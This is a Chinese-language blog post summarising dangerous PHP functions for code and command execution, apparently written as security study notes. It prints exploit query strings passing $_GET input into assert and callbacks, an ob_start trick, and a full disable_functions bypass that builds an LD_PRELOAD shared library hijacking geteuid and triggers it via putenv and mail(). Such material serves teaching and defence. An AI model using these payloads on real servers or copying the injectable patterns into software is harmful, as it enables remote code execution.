PHP危险函数总结学习
<h1>1.PHP中代码执行的危险函数</h1><h3 id="call-user-func">call_user_func()</h3>
<p id="call-user-func">第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递</p>
<div class="line">call_user_func($_GET[<span class="string">'1'],$_GET[<span class="string">'2']);</span></span></div>
<div class="line"><span class="string"><span class="string">codeexec.php?1=assert&2=phpinfo()</span></span></div>
<div class="line">
<h3 id="call-user-func-array">call_user_func_array()</h3>
<p>把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。</p>
<p>call_user_func_array($_GET[<span class="string">'1'],$_GET[<span class="string">'2']);</span></span></p>
<p><span class="string"><span class="string">codeexec.php?1=assert&2[]=phpinfo()</span></span></p>
<h3 id="create-function">create_function</h3>
<p>该函数的内部实现用到了<code>eval</code>,所以也具有相同的安全问题。第一个参数<code>args</code>是后面定义函数的参数,第二个参数是函数的代码。</p>
<div class="cnblogs_code">
<pre> <span style="color: rgba(128, 0, 128, 1)">$a</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['a'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(128, 0, 128, 1)">$b</span> = <span style="color: rgba(0, 128, 128, 1)">create_function</span>('$a',"echo <span style="color: rgba(128, 0, 128, 1)">$a</span>"<span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(128, 0, 128, 1)">$b</span>('');</pre>
</div>
</div>
<div class="line">codeexec.php?a=phpinfo();</div>
<div class="line">
<h3 id="array-map">array_map()</h3>
<p>作用是为数组的每个元素应用回调函数 。其返回值为数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。</p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$array</span> = <span style="color: rgba(0, 0, 255, 1)">array</span>(0,1,2,3,4,5<span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 128, 128, 1)">array_map</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>,<span style="color: rgba(128, 0, 128, 1)">$array</span><span style="color: rgba(0, 0, 0, 1)">);
</span>?></pre>
</div>
<div class="line">codeexec.php?1=phpinfo</div>
<h6 class="line"><span style="font-size: 14pt">preg_match+/e选项</span></h6>
<p><span style="font-size: 14pt">搜索subject中匹配pattern的部分, 以replacement进行替换。当使用被弃用的 e 修饰符时, 这个函数会转义一些字符,在完成替换后,引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。</span></p>
<div class="line"><img src="https://img2018.cnblogs.com/blog/1063309/201907/1063309-20190717185306189-1229201358.png" alt="">
<p> </p>
</div>
<h1 class="line">2.php命令执行函数</h1>
</div>
<h6><span style="font-size: 14pt">system</span></h6>
<p>如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。</p>
<h6 id="2-shell-exec"><span style="font-size: 14pt">shell_exec(没有回显的命令执行)</span></h6>
<p>通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。(和``反引号效果相同)</p>
<p><img src="https://img2018.cnblogs.com/blog/1063309/201907/1063309-20190717175711144-1826163489.png" alt=""></p>
<h6 id="3-passthru"><span style="font-size: 14pt">passthru</span></h6>
<p>同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。</p>
<p><img src="https://img2018.cnblogs.com/blog/1063309/201907/1063309-20190717175401244-599965244.png" alt=""></p>
<h6><span style="font-size: 14pt">exec(只返回一行数据)</span></h6>
<p> <img src="https://img2018.cnblogs.com/blog/1063309/201907/1063309-20190717180213671-1087467997.png" alt=""></p>
<h3 id="5-popen">popen</h3>
<p><img src="https://img2018.cnblogs.com/blog/1063309/201907/1063309-20190717181218230-368743324.png" alt=""></p>
<p>打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。</p>
<h6><span style="font-size: 14pt">proc_open</span></h6>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$descriptorspec</span>=<span style="color: rgba(0, 0, 255, 1)">array</span>( <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">这个索引数组用力指定要用proc_open创建的子进程的描述符</span>
0=><span style="color: rgba(0, 0, 255, 1)">array</span>('pipe','r'), <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">STDIN</span>
1=><span style="color: rgba(0, 0, 255, 1)">array</span>('pipe','w'),<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">STDOUT</span>
2=><span style="color: rgba(0, 0, 255, 1)">array</span>('pipe','w') <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">STDERROR</span>
<span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(128, 0, 128, 1)">$handle</span>=<span style="color: rgba(0, 128, 128, 1)">proc_open</span>('dir',<span style="color: rgba(128, 0, 128, 1)">$descriptorspec</span>,<span style="color: rgba(128, 0, 128, 1)">$pipes</span>,<span style="color: rgba(0, 0, 255, 1)">NULL</span><span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">$pipes中保存的是子进程创建的管道对应到 PHP 这一端的文件指针($descriptorspec指定的)</span>
<span style="color: rgba(0, 0, 255, 1)">if</span>(!<span style="color: rgba(0, 128, 128, 1)">is_resource</span>(<span style="color: rgba(128, 0, 128, 1)">$handle</span><span style="color: rgba(0, 0, 0, 1)">)){
</span><span style="color: rgba(0, 0, 255, 1)">die</span>('proc_open failed'<span style="color: rgba(0, 0, 0, 1)">);
}
</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">fwrite($pipes,'ipconfig');</span>
<span style="color: rgba(0, 0, 255, 1)">print</span>('stdout:<br/>'<span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 0, 255, 1)">while</span>(<span style="color: rgba(128, 0, 128, 1)">$s</span>=<span style="color: rgba(0, 128, 128, 1)">fgets</span>(<span style="color: rgba(128, 0, 128, 1)">$pipes</span>)){
</span><span style="color: rgba(0, 128, 128, 1)">print_r</span>(<span style="color: rgba(128, 0, 128, 1)">$s</span><span style="color: rgba(0, 0, 0, 1)">);
}
</span><span style="color: rgba(0, 0, 255, 1)">print</span>('===========<br/>stderr:<br/>'<span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 0, 255, 1)">while</span>(<span style="color: rgba(128, 0, 128, 1)">$s</span>=<span style="color: rgba(0, 128, 128, 1)">fgets</span>(<span style="color: rgba(128, 0, 128, 1)">$pipes</span>)){
</span><span style="color: rgba(0, 128, 128, 1)">print_r</span>(<span style="color: rgba(128, 0, 128, 1)">$s</span><span style="color: rgba(0, 0, 0, 1)">);
}
</span><span style="color: rgba(0, 128, 128, 1)">fclose</span>(<span style="color: rgba(128, 0, 128, 1)">$pipes</span>);
</span><span style="color: rgba(0, 128, 128, 1)">fclose</span>(<span style="color: rgba(128, 0, 128, 1)">$pipes</span>);
</span><span style="color: rgba(0, 128, 128, 1)">fclose</span>(<span style="color: rgba(128, 0, 128, 1)">$pipes</span>);
</span><span style="color: rgba(0, 128, 128, 1)">proc_close</span>(<span style="color: rgba(128, 0, 128, 1)">$handle</span><span style="color: rgba(0, 0, 0, 1)">);
</span>?></pre>
</div>
<h3 id="ob-start">ob_start()</h3>
<p>bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )</p>
<p>当调用 output_callback 时,它将收到输出缓冲区的内容作为参数 并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器。</p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = 'system'<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 128, 128, 1)">ob_start</span>(<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">);//将命令存储到内部缓冲区
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<span style="color: rgba(128, 0, 128, 1)">$_GET</span>"<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 128, 128, 1)">ob_end_flush</span><span style="color: rgba(0, 0, 0, 1)">(); 清除内部缓冲区,此时将输出缓冲区的内容当作参数执行并输入执行结果,即执行system($_GET(a))
</span>?></pre>
</div>
<h3>mail() 第五个参数 excrt_cmd</h3>
<p>第五个参数支持添加附加的命令作为发送邮件时候的配置,比如使用-f参数可以设置邮件发件人等。</p>
<p>如果传递了第五个参数(extra_cmd),则用sprintf将sendmail_path和extra_cmd拼接到sendmail_cmd中,随后将sendmail_cmd丢给popen执行,如果系统默认sh是bash,popen会派生bash进程,而我们刚才提到的bash 破壳漏洞,直接就导致我们可以利用mail()函数执行任意命令,绕过disable_functions的限制</p>
<p>即mail->poen->bash调用链</p>
<p>但是如果使用了php_escape_shell_cmd函数会对特殊字符(包括&#;`|*?~<>^()[]{}$\, \x0A and \xFF. ‘ 等)进行转义,我们可以通过putenv函数来设置一个包含自定义函数的环境变量,然后通过mail()来触发</p>
<h3 id="9-putenv">putenv()</h3>
<div class="cnblogs_code">
<pre>bool putenv ( string $setting )</pre>
</div>
<p>添加 setting 到服务器环境变量,环境变量仅存活于当前请求期间,在请求结束时环境会恢复到初始状态。 即我们能够自定义环境变量</p>
<p> 比如:</p>
<p><span style="font-size: 14pt"><span style="color: rgba(255, 0, 0, 1)">LD_PRELOAD</span>是Linux系统的下一个有趣的环境变量,<span style="color: rgba(255, 0, 0, 1)">它允许你定义在程序运行前优先加载的动态链接库</span></span></p>
<div class="cnblogs_code">
<pre>这个功能主要就是用来有选择性的<span style="color: rgba(255, 0, 0, 1)">载入不同动态链接库中的相同函数。</span><br><span style="color: rgba(255, 0, 0, 1)">通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。<br></span>一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。</pre>
</div>
<p>它允许你定义在程序运行前优先加载的动态链接库,这说明我们几乎可以劫持PHP的大部分函数,比如php的mail函数实际上是调用了系统的sendmail命令,我们选一个库函数geteuid</p>
<p>然后编写一个自己的动态链接程序,tr1ple.c</p>
<div class="cnblogs_code">
<pre>#include<stdlib.h><span style="color: rgba(0, 0, 0, 1)">
#include</span><stdio.h><span style="color: rgba(0, 0, 0, 1)">
#include</span><<span style="color: rgba(0, 0, 255, 1)">string</span>.h>
<span style="color: rgba(0, 0, 255, 1)">void</span><span style="color: rgba(0, 0, 0, 1)"> payload(){
system(</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">cat /flag</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);
}
</span><span style="color: rgba(0, 0, 255, 1)">int</span><span style="color: rgba(0, 0, 0, 1)"> geteuid(){
</span><span style="color: rgba(0, 0, 255, 1)">if</span>(geteenv(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">LD_PRELOAD</span><span style="color: rgba(128, 0, 0, 1)">"</span>)==<span style="color: rgba(0, 0, 0, 1)">NULL){
</span><span style="color: rgba(0, 0, 255, 1)">return</span> <span style="color: rgba(128, 0, 128, 1)">0</span><span style="color: rgba(0, 0, 0, 1)">;
}
unsetenv(</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">LD_PRELOAD</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);
payload();
}</span></pre>
</div>
<p><img src="https://img2018.cnblogs.com/blog/1063309/201907/1063309-20190718122811838-307586450.png" alt=""></p>
<p>当我们编写的共享库的geteuid函数被调用时将执行命令,测试编译时平台尽量与目标相近。</p>
<p>运行:</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 0, 1)">gcc -c -fPIC tr1ple.c -o tr1ple
gcc </span>--share tr1ple -o tr1ple.so</pre>
</div>
<p>此时生成了tr1ple.so,我们将so文件放在web目录下,然后编写php文件进行测试:</p>
<p><img src="https://img2018.cnblogs.com/blog/1063309/201907/1063309-20190718120622771-734412506.png" alt=""></p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 128, 128, 1)">putenv</span>("LD_PRELOAD=/var/www/html/tr1ple.so"<span style="color: rgba(0, 0, 0, 1)">);
</span><span style="color: rgba(0, 128, 128, 1)">mail</span>("1@2","","","",""<span style="color: rgba(0, 0, 0, 1)">);
</span>?></pre>
</div>
<p><img src="https://img2018.cnblogs.com/blog/1063309/201907/1063309-20190718122849855-1805279618.png" alt=""></p>
<p>然后访问后就会在web目录下产生2333文件:</p>
<p><img src="https://img2018.cnblogs.com/blog/1063309/201907/1063309-20190718123108664-329437868.png" alt=""></p>
<p>所以就达到了劫持geteuid函数的目的,让程序调用我们的恶意so文件中函数,我们让php文件调用putenv来设置一个临时环境变量LD_PRELOAD,以便于在程序执行时去加载我们的so,那么关键就是这里。那么联想一下如果我们能劫持其他库函数,那么也能达到相同的效果,因为php是用c写的,mail调用了sendmail命令,sendmail命令又调用了geteuid函数,那就有以下:</p>
<p>1.如果其他php函数也调用了sendmail命令;</p>
<p>2.如果其它php函数调用系统命令并调用c的库函数</p>
<p>以上两种可能应该都是存在的,都可能产生风险。</p>
<h3 id="10-assert">assert</h3>
<p>它也能来动态代码执行,但是只是php5.x,7.x里就是即使参数是字符串也不执行</p>
<p><img src="https://img2018.cnblogs.com/blog/1063309/201907/1063309-20190718123852606-1060360334.png" alt=""></p>
<p><img src="https://img2018.cnblogs.com/blog/1063309/201907/1063309-20190718124053748-223767519.png" alt=""></p>
<h3 id="11-dl"><span style="font-size: 18pt">dl()</span></h3>
<div class="cnblogs_code">
<pre>dl()函数允许在php脚本里<span style="color: rgba(255, 0, 0, 1)">动态加载php模块</span>,默认是加载extension_dir目录里的扩展,<br>该选项是PHP_INI_SYSTEM范围可修改的,<span style="color: rgba(255, 0, 0, 1)">只能在php.ini或者apache主配置文件里修改</span>。<br>当然,你也可以通过enable_dl选项来关闭动态加载功能,而这个选项默认为On的,事实上也很少人注意到这个。<br><span style="color: rgba(255, 0, 0, 1)">dl()函数在设计时存在安全漏洞,可以用../这种目录遍历的方式指定加载任何一个目录里的so等扩展文件</span>,extension_dir限制可以被随意饶过。<br><span style="color: rgba(255, 0, 0, 1); font-size: 14pt">所以我们可以上传自己的so文件,并且用dl函数加载这个so文件然后利用so文件里的函数执行其他操作,<br>包括系统命令。</span></pre>
</div>
<h3 id="14-ini-set-ini-alter">ini_set()/ini_alter()</h3>
<p>设置指定配置选项的值。<span style="color: rgba(255, 0, 0, 1)">这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。如果能结合call_user_func函数就能进行调用设置。</span></p>
<p><span style="color: rgba(255, 0, 0, 1)">不是所有有效的选项都能够用 ini_set() 来改变的。 这里有个有效选项的清单附录,附录地址为</span><span style="color: rgba(255, 0, 0, 1)">https://www.php.net/manual/zh/ini.list.php</span></p>
<h3 id="15-imap-mail">imap_mail</h3>
<p>imap_mail在执行时也会fork execve,去调用sendmail,因此也会加载我们的so</p>
<p>参数设置与mail相同</p>
<p><img src="https://img2018.cnblogs.com/blog/1063309/201908/1063309-20190819100032297-1648835575.png" alt="" width="954" height="436"></p>
<p>参考(侵删):</p>
<p>https://www.k0rz3n.com/2019/02/12/PHP%20%E4%B8%AD%E5%8F%AF%E4%BB%A5%E5%88%A9%E7%94%A8%E7%9A%84%E5%8D%B1%E9%99%A9%E7%9A%84%E5%87%BD%E6%95%B0/#8-mail-%E7%AC%AC%E4%BA%94%E4%B8%AA%E5%8F%82%E6%95%B0-excrt-cmd</p><br><br>
来源:https://www.cnblogs.com/tr1ple/p/11202512.html
頁:
[1]